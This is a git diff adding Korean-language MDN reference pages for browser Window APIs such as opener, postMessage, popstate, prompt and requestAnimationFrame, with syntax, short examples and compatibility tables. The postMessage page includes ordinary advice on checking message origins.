{{domxref("Window")}} 인터페이스의 opener 속성은 {{domxref("Window.open", "open()")}}을 사용해 현재 창을 열었던 창의 참조를 반환합니다.

+ +

예제로 설명하자면, 창 A가 창 B를 열었을 때 B.openerA를 반환합니다.

+ +

구문

+ +
const openerWindow = window.opener
+
+ +

+ +

{{domxref("window.open()")}}을 사용하거나 {{htmlattrxref("target", "a")}} 특성을 지정한 링크로 현재 창을 연 {{domxref("Window")}}. 현재 창이 다른 창에 의해 생성됐거나 링크로 열리지 않았다면 {{jsxref("null")}}.

+ +

최근 브라우저에서는 {{htmlelement("a")}} 요소에 rel="noopener noreferrer" 특성을 지정하면 window.opener 참조 설정을 방지합니다. 따라서 생성된 창의 opener 속성에 접근해도 null을 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-opener', 'window.opener')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.opener")}}

diff --git a/files/ko/web/api/window/orientationchange_event/index.html b/files/ko/web/api/window/orientationchange_event/index.html new file mode 100644 index 0000000000..6426f678f7 --- /dev/null +++ b/files/ko/web/api/window/orientationchange_event/index.html @@ -0,0 +1,66 @@ +--- +title: orientationchange +slug: Web/API/Window/orientationchange_event +translation_of: Web/API/Window/orientationchange_event +--- +

orientationchange 이벤트는 장치의 방향이 바뀔 때 호출 된다.

+ +

General info

+ +
+
Specification
+
Screen Orientation
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Screen
+
Default Action
+
None
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Example

+ +
// Note that "orientationchange" and screen.orientation are unprefixed in the following
+// code although this API is still vendor-prefixed browsers implementing it.
+screen.addEventListener("orientationchange", function() {
+    alert("the orientation of the device is now " + screen.orientation);
+});
+
diff --git a/files/ko/web/api/window/outerwidth/index.html b/files/ko/web/api/window/outerwidth/index.html new file mode 100644 index 0000000000..272c415bb7 --- /dev/null +++ b/files/ko/web/api/window/outerwidth/index.html @@ -0,0 +1,101 @@ +--- +title: Window.outerWidth +slug: Web/API/Window/outerWidth +translation_of: Web/API/Window/outerWidth +--- +
{{APIRef}}
+ +

요약

+ +

Window.outerWidth 는 브라우저 윈도우 바깥쪽의 폭을 얻어온다. 이것은 브라우저 윈도우의 사이드바와 가장자리 경계선을 포함한 폭을 나타내어 준다.

+ +

이 값은 읽기전용이다. 그리고 기본값이 없다.

+ +

문법

+ +
outWindowWidth = window.outerWidth;
+
+ +

반환이 끝나면 outWindowWidth는 윈도우의 바깥경계를 포함한 너비(폭)를 담고 있다.

+ +

노트

+ +

이 사이즈를 변경하기 위해서는, {{domxref("window.resizeBy()")}} 또는 {{domxref("window.resizeTo()")}}를 참조하세요.

+ +

윈도우의 안쪽 폭 즉, 현재 표시되고있는 창의 폭을 얻으려면  {{domxref("window.innerWidth")}}를 참조하세요.

+ +

브라우저 호환성

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
Feature크롬파이어폭스 (Gecko)인터넷 익스플로러오페라사파리
기초 지원1{{CompatGeckoDesktop(1.0)}}993
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
기초 지원1{{CompatGeckoMobile(1.0)}}993
+
+ +

Specification

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-outerwidth', 'Window.outerWidth') }}{{ Spec2('CSSOM View') }} 
+ +

See also

+ + diff --git a/files/ko/web/api/window/pageyoffset/index.html b/files/ko/web/api/window/pageyoffset/index.html new file mode 100644 index 0000000000..4579abd3f8 --- /dev/null +++ b/files/ko/web/api/window/pageyoffset/index.html @@ -0,0 +1,164 @@ +--- +title: Window.pageYOffset +slug: Web/API/Window/pageYOffset +tags: + - API + - Property + - Reference + - Window +translation_of: Web/API/Window/pageYOffset +--- +
{{ APIRef("CSSOM View") }}
+ +

{{domxref("Window")}} 인터페이스의 pageYOffset 읽기 전용 속성은 {{domxref("Window.scrollY", "scrollY")}}의 다른 이름으로, 문서가 수직으로 얼마나 스크롤됐는지 픽셀 단위로 반환합니다.

+ +

일부 오래된 브라우저는 scrollY 대신 pageYOffset만 지원하는 경우가 있지만, 노후 환경을 신경쓰지 않아도 된다면 둘 중 아무거나 사용해도 괜찮습니다.

+ +

수평 스크롤을 나타내는 {{domxref("Window.pageXOffset", "pageXOffset")}} 속성 역시 {{domxref("Window.scrollX", "scrollX")}}의 다른 이름입니다.

+ +

구문

+ +
yOffset = window.pageYOffset;
+
+ +

+ +

{{domxref("Window")}} 안의 {{domxref("Document")}}가 수직 방향으로 스크롤된 거리를 픽셀 단위로 나타낸 부동소숫점 수. 단일 픽셀보다 높은 수준의 정밀도를 가지므로 정수가 아닐 수 있습니다. 0.0은 창의 콘텐츠 영역과 문서의 위쪽 모서리 위치가 일치함을 나타냅니다.

+ +

pageYOffset은 {{domxref("Window.scrollY")}}의 다른 이름이므로, 값에 대한 더 자세한 정보는 해당 문서를 방문해주세요.

+ +

예제

+ + + +

In this example, an {{HTMLElement("iframe")}} is created and filled with content, then a specific element within the document is scrolled into view in the frame. Once that's done, the vertical scroll position is checked by looking at the value of pageYOffset in the frame's {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}.

+ +

HTML

+ +

HTML은 단 두 개의 요소를 가진 짧은 코드입니다. 하나는 스크롤할 문서를 담은 {{HTMLElement("iframe")}}이고, 다른 하나는 스크롤을 끝냈을 때 pageYOffset의 값을 기록할 {{HTMLElement("div")}}입니다.

+ +
<iframe id="frame">
+</iframe>
+
+<div id="info">
+</div>
+ +

JavaScript

+ +
var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "스크롤 후 Y축 차이: " +
+                 frame.contentWindow.pageYOffset + " 픽셀";
+ +

The JavaScript code begins by getting into frame and info the <iframe> element that contains our content as well as the <div> element into which we'll output the result of our scroll position check. It then gets a reference to the element we want to scroll into view calling {{domxref("Document.getElementById", "getElementById()")}} on the frame's {{domxref("HTMLIFrameElement.contentDocument")}}.

+ +

With the target element in hand, we set the {{domxref("Element.scrollTop", "scrollTop")}} of the frame's {{domxref("Document.scrollingElement", "scrollingElement")}} to the {{domxref("Element.offsetTop", "offsetTop")}} of the target element. By doing so, we set the vertical scrolling position of the frame's document so that it's the same as the top edge of the target element.

+ +

This will automatically set the scrolling position to the maximum possible value if the attempted scroll would exceed the maximum. This prevents us from falling off the edge of the document. Nobody wants to know what's out there. There might be dragons.

+ + + +

결과

+ +

The result follows. Note that the frame's contents have been scrolled to show the section named "Overview", and that the value of the pageYOffset property is shown with the corresponding value.

+ +

{{EmbedLiveSample("예제", 650, 500)}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}{{ Spec2('CSSOM View') }}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Window.pageYOffset")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/window/popstate_event/index.html b/files/ko/web/api/window/popstate_event/index.html new file mode 100644 index 0000000000..5012c22d1b --- /dev/null +++ b/files/ko/web/api/window/popstate_event/index.html @@ -0,0 +1,66 @@ +--- +title: popstate +slug: Web/API/Window/popstate_event +tags: + - API + - Event + - History + - History API + - Reference +translation_of: Web/API/Window/popstate_event +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 인터페이스의 popstate 이벤트는 사용자의 세션 기록 탐색으로 인해 현재 활성화된 기록 항목이 바뀔 때 발생합니다. 만약 활성화된 엔트리가 history.pushState() 메서드나 history.replaceState() 메서드에 의해 생성되면, popstate 이벤트의 state 속성은 히스토리 엔트리 state 객체의 복사본을 갖게 됩니다.

+ +

history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발생시키지 않는 것에 유의합니다.popstate 이벤트는 브라우저의 백 버튼이나 (history.back() 호출) 등을 통해서만 발생된다. 

+ +

브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리합니다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킵니다. 하지만 Firefox 는 그렇지 않습니다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("PopStateEvent")}}
Event handler property{{domxref("WindowEventHandlers.onpopstate", "onpopstate")}}
+ +

브라우저 호환성

+ +

{{Compat("api.Window.popstate_event")}}

+ +

Example

+ +

예시를 보자, 다음의 코드를 실행하는 http://example.com/example.html 의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.

+ +
window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

원래의 히스토리 엔트리인 (http://example.com/example.html) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.

+ +

See Also

+ + diff --git a/files/ko/web/api/window/postmessage/index.html b/files/ko/web/api/window/postmessage/index.html new file mode 100644 index 0000000000..34aa8a67fe --- /dev/null +++ b/files/ko/web/api/window/postmessage/index.html @@ -0,0 +1,183 @@ +--- +title: Window.postMessage() +slug: Web/API/Window/postMessage +translation_of: Web/API/Window/postMessage +--- +
{{ApiRef("HTML DOM")}}
+ +

window.postMessage() 메소드는 {{domxref("Window")}} 오브젝트 사이에서 안전하게 cross-origin 통신을 할 수 있게 합니다. 예시로, 페이지와 생성된 팝업 간의 통신이나, 페이지와 페이지 안의 iframe 간의 통신에 사용할 수 있습니다.

+ +

일반적으로, 다른 페이지 간의 스크립트는 각 페이지가 같은 프로토콜, 포트 번호와 호스트을 공유하고 있을 때에("동일 출처 정책"으로도 불려 집니다.) 서로 접근할 수 있습니다. window.postMessage()는 이 제약 조건을 안전하게 우회하는 기능을 제공합니다.

+ +

대체로, 한 window는 다른 window를 참조할 수 있고(예시, targetWindow = window.opener), targetWindow.postMessage()를 통해 다른 window에 {{domxref("MessageEvent")}}를 전송할 수 있습니다. 이벤트를 받는 window는 이를 통해 필요에 따라 이벤트를 처리할 수 있습니다. window.postMessage()를 통해 전달된 인자(예시, "message")는 이벤트 객체를 통해 이벤트를 받는 window에서 사용할 수 있습니다.

+ +

문법

+ +
targetWindow.postMessage(message, targetOrigin, [transfer]);
+ +
+
targetWindow
+
메세지를 전달 받을 window의 참조. 참조를 취득할 방법으로는 다음과 같은 것이 있습니다: +
    +
  • {{domxref("Window.open")}} (새 창을 만들고 새 창을 참조할 때),
  • +
  • {{domxref("Window.opener")}} (새 창을 만든 window를 참조할 때),
  • +
  • {{domxref("HTMLIFrameElement.contentWindow")}} (부모 window에서 임베디드된 {{HTMLElement("iframe")}}을 참조할 때),
  • +
  • {{domxref("Window.parent")}} (임베디드된 {{HTMLElement("iframe")}}에서 부모 window를 참조할 때),
  • +
  • {{domxref("Window.frames")}} + an index value (named or numeric).
  • +
+
+
message
+
다른 window에 보내질 데이터. 데이터는 the structured clone algorithm을 이용해 직렬화됩니다. 이를 통해 직렬화를 직접할 필요 없이 대상 window에 다양한 데이터 객체를 안전하게 전송할 수 있습니다. [1]
+
targetOrigin
+
targetWindow의 origin을 지정합니다. 이는 전송되는 이벤트에서 사용되며, 문자열 "*"(별도로 지정하지 않음을 나타냄) 혹은 URI이어야 합니다. 이벤트를 전송하려 할 때에 targetWindow의 스키마, 호스트 이름, 포트가 targetOrigin의 정보와 맞지 않다면, 이벤트는 전송되지 않습니다. 세 가지 모두 일치해야 이벤트가 전송됩니다. 이는 메세지를 보내는 곳을 제안하기 위함입니다. 예를 들어, postMessage()를 통해 비밀번호가 전송된다면, 악의적인 제 3자가 가로채지 못하도록, targetOrigin을 반드시 지정한 수신자와 동일한 URI를 가지도록 설정하는 것이 정말 중요합니다. 다른 window의 document의 위치를 알고 있다면, 항상 targetOrigin* 말고 특정한 값을 설정하세요. 특정한 대상을 지정하지 않으면 악의적인 사이트에 전송하는 데이터가 공개되어 버립니다.
+
transfer {{optional_Inline}}
+
일련의 {{domxref("Transferable")}} 객체들. 메세지와 함께 전송됩니다. 이 객체들의 소유권은 수신 측에게 전달되며, 더 이상 송신 측에서 사용할 수 없습니다.
+
+ +

디스페치 이벤트(The dispatched event)

+ +

 이하의 JavaScript를 실행하면 otherWindow 에서 전달된 메시지를 받을 수 있습니다:

+ +
window.addEventListener("message", receiveMessage, false);
+
+function receiveMessage(event)
+{
+  if (event.origin !== "http://example.org:8080")
+    return;
+
+  // ...
+}
+
+ +

전달된 메시지의 프로퍼티는 다음과 같습니다:

+ +
+
data
+
다른 윈도우에서 온 오브젝트.
+
origin
+
postMessage 가 호출될 때 메시지를 보내는 윈도우의 origin.
+ 이 문자열은 프로토콜과 "://", 호스트 명(존재할 경우), 그리고 ":"의 뒤에 이어 지는 포트 번호가 연결된 것입니다. (포트 번호는 포트 번호가 명기되었거나 주어진 프로토콜의 디폴트 포트와 다를 경우). 전형적인 origin의 예로 https://example.org (이 경우 port 443), http://example.net (이 경우 port 80), and http://example.com:8080가 있습니다. 이  origin은 postMessage 호출 이후 다른 위치로 이동되었을 수 있는 해당 윈도우의 현재 또는 미래의  origin 이 보장되지 않는다는 점에 주의하세요.
+
source
+
메시지를 보낸  window 오브젝트에 대한 참조.
+ 이것을 사용함으로 다른 orign에 있는 두 개의 윈도우에서 쌍방향 통신을 확립할 수 있습니다.
+
+ +

보안 문제(Security concerns)

+ +

다른 사이트로부터 메시지를 받고 싶지 않다면,  message 이벤트를 위해 어떠한 이벤트 리스너도 추가하지 마세요. 이것은 보안 문제를 피할 수 있는 단순명료한 방법입니다.

+ +

다른 사이트로부터 메시지를 받고자 한다면, origin과 추가로 source 프로퍼티를 이용해 항상 보내는 쪽의 신원을 확인하세요. 임의의 어떤 윈도우(예: http://evil.example.com를 포함)는 다른 윈도우에 메시지를 보낼 수 있으며, 알 수 없는 발신자가 악의적인 메시지를 보내지 않는다는 보장이 없습니다. 그러나 신원을 확인했더라도 수신된 메시지의 구문을 항상 확인해야 합니다. 그렇지 않으면 신뢰할 수 있는 메시지만 전송할 것으로 기대한 사이트의 보안 구멍으로 인해 크로스 사이트 스크립트 빈틈이 생길 수 있습니다.

+ +

postMessage 를 이용해 다른 윈도우로 데이터를 보낼 때, 항상 정확한 타겟 origin (*가 아니라) 을 지정하세요. 악의적인 사이트는 당신이 모르는 사이에 윈도우의 위치를 변경할 수 있고, 따라서 postMessage를 사용하여 전송된 데이터를 가로챌 수 있습니다.

+ +

Example

+ +
/*
+ * <http://example.com:8080>에 있는 윈도우 A의 스크립트:
+ */
+
+var popup = window.open(...popup details...);
+
+// 팝업이 완전히 로드되었을 때:
+
+// This does nothing, assuming the window hasn't changed its location.
+popup.postMessage("The user is 'bob' and the password is 'secret'",
+                  "https://secure.example.net");
+
+// This will successfully queue a message to be sent to the popup, assuming
+// the window hasn't changed its location.
+popup.postMessage("hello there!", "http://example.com");
+
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?  (might be
+  // different from what we originally opened, for example).
+  if (event.origin !== "http://example.com")
+    return;
+
+  // event.source is popup
+  // event.data is "hi there yourself!  the secret response is: rheeeeet!"
+}
+window.addEventListener("message", receiveMessage, false);
+
+ +
/*
+ * In the popup's scripts, running on <http://example.com>:
+ */
+
+// Called sometime after postMessage is called
+function receiveMessage(event)
+{
+  // Do we trust the sender of this message?
+  if (event.origin !== "http://example.com:8080")
+    return;
+
+  // event.source is window.opener
+  // event.data is "hello there!"
+
+  // Assuming you've verified the origin of the received message (which
+  // you must do in any case), a convenient idiom for replying to a
+  // message is to call postMessage on event.source and provide
+  // event.origin as the targetOrigin.
+  event.source.postMessage("hi there yourself!  the secret response " +
+                           "is: rheeeeet!",
+                           event.origin);
+}
+
+window.addEventListener("message", receiveMessage, false);
+
+ +

Notes

+ +

윈도우 document의 장소와 무관하게, 임의의 윈도우는 언제든지 메시지를 보내기 위해 임의의 다른 윈도우에 있는 함수에 접근할 수도 있습니다. 그래서 이벤트 리스너는 메시지를 취득할 때, origin 또는 source 프로퍼티를 이용해, 먼저 메시지 송신자의 식별 정보를 체크해야만 합니다. 이것은 아무리 강조해도 지나치지 않습니다. 왜냐하면, origin 또는 source 프로퍼티의 체크 실패는 크로스 사이트 스크립팅 공격을 가능하게 하기 때문입니다.

+ +

비동기로 전달된 스크립트(타임아웃, 유저 생성 이벤트)에서, postMessage의 호출자의 판별이 불가능할 때, postMessage에 의해 보내진 이벤트를 기다리는 이벤트 핸들러는 예외를 발생시킵니다.

+ +

postMessage()보류 중인 모든 실행 컨텍스트가 완료된 후에만 {{domxref("MessageEvent")}}을 발송하도록 스케줄합니다. 예를 들어, 이벤트 핸들러에서 postMessage()가 호출되는 경우, {{domxref("MessageEvent")}}가 발송되기 전에 해당 이벤트에 대한 나머지 핸들러와 마찬가지로 이벤트 핸들러는 완료까지 실행된다.

+ +

전달된 이벤트의 origin 프로퍼티의 값은 호출하는 윈도우의 document.domain 현재 값에 영향을 받지 않습니다.

+ +

IDN 호스트 명에 한하여, origin 프로퍼티 값은 일관되게 Unicode 또는 punycode가 아닙니다. 그래서, IDN 사이트로 부터 메시지를 기대하는 경우 최상의 호환성 체크를 하기위해, IDN과 Punycode의 값 모두를 체크하세요. 이 값은 결국 일관되게 IDN이 될 것이지만, 현재로서는 IDN과 Punycode 양식을 모두 처리해야 합니다.

+ +

송신 창에 javascript: 또는data: URL이 있을 때의 origin 프로퍼티의 값은 URL을 로드한 스크립트의 origin입니다.

+ +

Using window.postMessage in extensions {{Non-standard_inline}}

+ +

window.postMessage는 크롬 코드(예: 확장 코드 및 권한 코드)로 실행되는 JavaScript에서 사용할 수 있지만, 발송된 이벤트의 source 프로퍼티는 보안 제한으로 항상 null입니다. (다른 프로퍼티에는 예상 값이 있습니다.)

+ +

콘텐츠 또는 웹 컨텍스트 스크립트가 targetOrigin을 지정하여 확장 스크립트(백그라운드 스크립트 또는 콘텐츠 스크립트)와 직접 통신하는 것은 불가능합니다. 웹 또는 콘텐츠 스크립트는 "*"targetOrigin이 포함된 window.postMessage를 사용하여 모든 리스너에게 브로드캐스트할 수 있지만, 확장은 이러한 메시지의 발신지를 확인할 수 없고 다른 리스너(제어하지 않는 수신자 포함)가 수신할 수 있기 때문에 이 작업은 중지됩니다. 

+ +

컨텐츠 스크립트는 runtime.sendMessage 를 사용하여 백그라운드 스크립트와 통신해야 합니다. 웹 컨텍스트 스크립트는 사용자 지정 이벤트를 사용하여 컨텐츠 스크립트(필요한 경우 게스트 페이지에서 스누핑을 방지하기 위해 임의로 생성된 이벤트 이름 포함)와 통신할 수 있습니다.

+ +

마지막으로, file: URL의 페이지의 메시지를 보낼 경우 targetOrigin 파라미터를 "*"로 할 필요가 있습니다. file:// 은 보안 제한으로 사용할 수 없으며 이 제한은 향후 수정될 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "web-messaging.html#dom-window-postmessage", "postMessage()")}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Window.postMessage")}} 

+ +

See also

+ + diff --git a/files/ko/web/api/window/prompt/index.html b/files/ko/web/api/window/prompt/index.html new file mode 100644 index 0000000000..7817f6e8b3 --- /dev/null +++ b/files/ko/web/api/window/prompt/index.html @@ -0,0 +1,94 @@ +--- +title: Window.prompt() +slug: Web/API/Window/prompt +tags: + - API + - DOM + - Method + - Reference + - Window +translation_of: Web/API/Window/prompt +--- +
{{ApiRef("Window")}}
+ +

Window.prompt()는 사용자가 텍스트를 입력할 수 있도록 안내하는 선택적 메세지를 갖고 있는 대화 상자를 띄웁니다.

+ +

구문

+ +
result = window.prompt(message, default);
+
+ +

매개변수

+ +
+
message {{optional_inline}}
+
사용자에게 보여줄 문자열. 프롬프트 창에 표시할 메세지가 없으면 생략할 수 있습니다.
+
default {{optional_inline}}
+
텍스트 입력 필드에 기본으로 채워 넣을 문자열. Internet Explorer 7과 8에서는 이 인자에 값을 지정하지 않으면 문자열 "undefined"가 지정됨에 유의하세요.
+
+ +

반환 값

+ +

사용자가 입력한 문자열, 또는 null.

+ +

예제

+ +
let sign = prompt("당신의 별자리는 무엇입니까?");
+
+if (sign.toLowerCase() === "전갈자리") {
+  alert("와! 저도 전갈자리예요!");
+}
+
+// prompt 기능을 쓰는 방법은 다양합니다.
+sign = window.prompt(); // 빈 대화 상자를 엽니다.
+sign = prompt(); // 빈 대화 상자를 엽니다.
+sign = window.prompt("님 지금 기분 좋아요?"); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄웁니다.
+sign = window.prompt("님 지금 기분 좋아요?", "네."); // 안내 문구 "님 지금 기분 좋아요?"가 보이는 창을 띄우되 기본적으로 입력되어 있는 값은 "네."로 합니다.
+ +

사용자가 확인 버튼을 누르면 입력부의 문자열을 반환합니다. 만약 사용자가 아무것도 입력하지 않고 확인 버튼을 누르면 빈 문자열을 반환합니다. 만약 사용자가 취소 버튼을 누르면 null을 반환합니다.

+ +

상기의 대화 상자는 OS X 상의 Chrome에서 다음과 같이 보입니다.

+ +

prompt() dialog in Chrome on OS X

+ +

비고

+ +

대화 상자는 한 줄의 텍스트 상자, 한 개의 취소 버튼과 한 개의 확인 버튼을 갖고, 사용자가 텍스트 상자에 입력한 문자열(빈 문자열일 수 있음)을 반환합니다.

+ +

대화 상자는 modal window(부모 창으로 돌아가기 전에 사용자의 상호 작용을 요구하는 자식 창)로, 사용자는 대화 상자가 닫힐 때까지 나머지 모든 인터페이스에 접근할 수 없습니다. 따라서 대화 상자(또는 modal window)를 만드는 함수를 남용하면 안 됩니다.

+ +

이 함수가 반환하는 값은 문자열이라는 점에 유의하세요. 이는 사용자가 입력한 값을 다른 자료형으로 바꿔야 할 때가 있음을 뜻합니다. 예를 들어, 만약 사용자의 대답이 Number가 되어야 한다면 반환 값을 직접 변환해야 합니다.

+ +

 

+ +
const aNumber = Number(window.prompt("Type a number", ""));
+ +

 

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName('HTML WHATWG', 'timers-and-user-prompts.html#dom-prompt', 'prompt()')}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Window.prompt")}}

+ +

관련 문서

+ + diff --git a/files/ko/web/api/window/requestanimationframe/index.html b/files/ko/web/api/window/requestanimationframe/index.html new file mode 100644 index 0000000000..d85946dee3 --- /dev/null +++ b/files/ko/web/api/window/requestanimationframe/index.html @@ -0,0 +1,112 @@ +--- +title: window.requestAnimationFrame() +slug: Web/API/Window/requestAnimationFrame +tags: + - API + - Animations + - DOM + - DOM 레퍼런스 + - requestAnimationFrame + - 게임 + - 그래픽 + - 그리기 + - 레퍼런스 + - 메소드 + - 성능 + - 스케줄링 + - 윈도우 + - 자바스크립트 타이머 + - 중급 +translation_of: Web/API/window/requestAnimationFrame +--- +

{{APIRef}}
+ window.requestAnimationFrame()은 브라우저에게 수행하기를 원하는 애니메이션을 알리고 다음 리페인트가 진행되기 전에 해당 애니메이션을 업데이트하는 함수를 호출하게 합니다. 이 메소드는 리페인트 이전에 실행할 콜백을 인자로 받습니다.

+ +
노트: 다음 리페인트에서 그 다음 프레임을 애니메이트하려면 콜백 루틴이 반드시 스스로 requestAnimationFrame()을 호출해야합니다.
+ +

화면에 새로운 애니메이션을 업데이트할 준비가 될때마다 이 메소드를 호출하는것이 좋습니다. 이는 브라우저가 다음 리페인트를 수행하기전에 호출된 애니메이션 함수를 요청합니다. 콜백의 수는 보통 1초에 60회지만, 일반적으로 대부분의 브라우저에서는 W3C 권장사항에 따라 그 수가 디스플레이 주사율과 일치하게됩니다. 대부분의 최신 브라우저에서는 성능과 배터리 수명 향상을 위해 requestAnimationFrame() 호출은 백그라운드 탭이나 hidden {{ HTMLElement("iframe") }}에서 실행이 중단됩니다.

+ +

콜백 메소드에는 requestAnimationFrame()이 대기된 콜백을 실행하는 시점을 나타내는 단일 인자 {{domxref("DOMHighResTimeStamp")}}가 전달됩니다. 따라서, 모든 이전 콜백의 작업 부하를 계산하는동안 시간이 지나갔음에도 불구하고 단일 프레임에서의 다중 콜백은 각각 동일한 타임스탬프를 받습니다. 이 타임스탬프는 밀리초 단위의 십진수지만, 최소 정밀도는 1ms (1000 µs) 입니다.

+ +

구문

+ +
window.requestAnimationFrame(callback);
+
+ +

파라미터

+ +
+
callback
+
다음 리페인트를 위한 애니메이션을 업데이트할 때 호출할 함수입니다. 콜백 함수에는 requestAnimationFrame()이 콜백 함수 실행을 시작할 때의 시점을 나타내는 {{domxref('performance.now()')}} 에 의해 반환되는 것과 유사한 {{domxref("DOMHighResTimeStamp")}} 단일 인자가 전달됩니다.
+
+ +

반환 값

+ +

콜백 리스트의 항목을 정의하는 고유한 요청 id 인 long 정수 값. 0 이 아니라는것 외에는 다른 추측을 할 수가 없는 값입니다. 이 값을 {{domxref("window.cancelAnimationFrame()")}} 에 전달해 콜백 요청을 취소할 수 있습니다.

+ +

예시

+ +
var start = null;
+var element = document.getElementById('SomeElementYouWantToAnimate');
+element.style.position = 'absolute';
+
+function step(timestamp) {
+  if (!start) start = timestamp;
+  var progress = timestamp - start;
+  element.style.left = Math.min(progress / 10, 200) + 'px';
+  if (progress < 2000) {
+    window.requestAnimationFrame(step);
+  }
+}
+
+window.requestAnimationFrame(step);
+
+ +

노트

+ +

인터넷 익스플로러와 Edge 17 버전 이하는 페인트 사이클 이전에 requestAnimationFrame 실행을 보장하지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}{{Spec2('HTML WHATWG')}}변경 사항 없음, 이 전 것을 대체.
{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}{{Spec2('RequestAnimationFrame')}}초기 정의
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Window.requestAnimationFrame")}}

+
+ +

함께 보기

+ + diff --git a/files/ko/web/api/window/requestidlecallback/index.html b/files/ko/web/api/window/requestidlecallback/index.html new file mode 100644 index 0000000000..e691bf3f07 --- /dev/null +++ b/files/ko/web/api/window/requestidlecallback/index.html @@ -0,0 +1,76 @@ +--- +title: window.requestIdleCallback() +slug: Web/API/Window/requestIdleCallback +tags: + - API + - DOM + - DOM Reference + - JavaScript timers + - Method + - Reference + - Window + - requestIdleCallback +translation_of: Web/API/Window/requestIdleCallback +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}
+ +

window.requestIdleCallback() 메서드는 브라우저의 idle 상태에 호출될 함수를 대기열에 넣습니다. 이를 통해 개발자는 애니메이션 및 입력 응답과 같은 대기 시간이 중요한 이벤트에 영향을 미치지 않고 메인 이벤트 루프에서 백그라운드 및 우선 순위가 낮은 작업을 수행 할 수 있습니다. 함수는 일반적으로 first-in-first-out(FIFO) 순서로 호출됩니다. 하지만, timeout 옵션이 지정된 callback은 제한 시간이 지나기 전에 이들을 실행하기 위해 순서에 맞지 않게 호출될 수 있습니다.

+ +

idle callback 안에서  requestIdleCallback() 을 호출하여 다음 패스가 이벤트 루프를 통과하는 즉시 다른 callback을 예약할 수 있습니다.

+ +
필수적인 작업이라면 timeout 옵션을 사용하는 것을 강력히 권장합니다.  사용하지 않을 경우 callback이 실행되기전에 몇 초 이상 소요될 수 있습니다.
+ +

Syntax

+ +
var handle = window.requestIdleCallback(callback[, options])
+ +

Return value

+ +

실행 ID. {{domxref("window.cancelIdleCallback()")}} 메서드에 인자로 전달하여 callback 실행을 취소할 수 있습니다.

+ +

Parameters

+ +
+
callback
+
이벤트 루프가 유휴 상태가 될 때 호출되어야 하는 함수. callback 함수는 {{domxref("IdleDeadline")}} 객체를 인자로 전달받습으며 이 객체를 통해 타임아웃 기간이 만료되어 callback이 실행되었는지 여부를 알 수 있습니다.
+
options {{optional_inline}}
+
선택적으로 사용가능한 option 설정. 현재는 하나의 property만 정의 되어 있습니다 : +
    +
  • timeout: 만약timeout 이 지정되어 있고 양수일 경우,  timeout 밀리세컨드가 지날 때까지 callback이 실행되지 않았다면 성능상에 부정적인 영향을 미치는 위험이 있더라도 다음 idle 상태에 callback이 호출됩니다.
  • +
+
+
+ +

Example

+ +

Cooperative Scheduling of Background Tasks API 포스트의 complete example 예제를 참조해 주십시오.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Background Tasks')}}{{Spec2('Background Tasks')}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.Window.requestIdleCallback")}}

+ +

See also

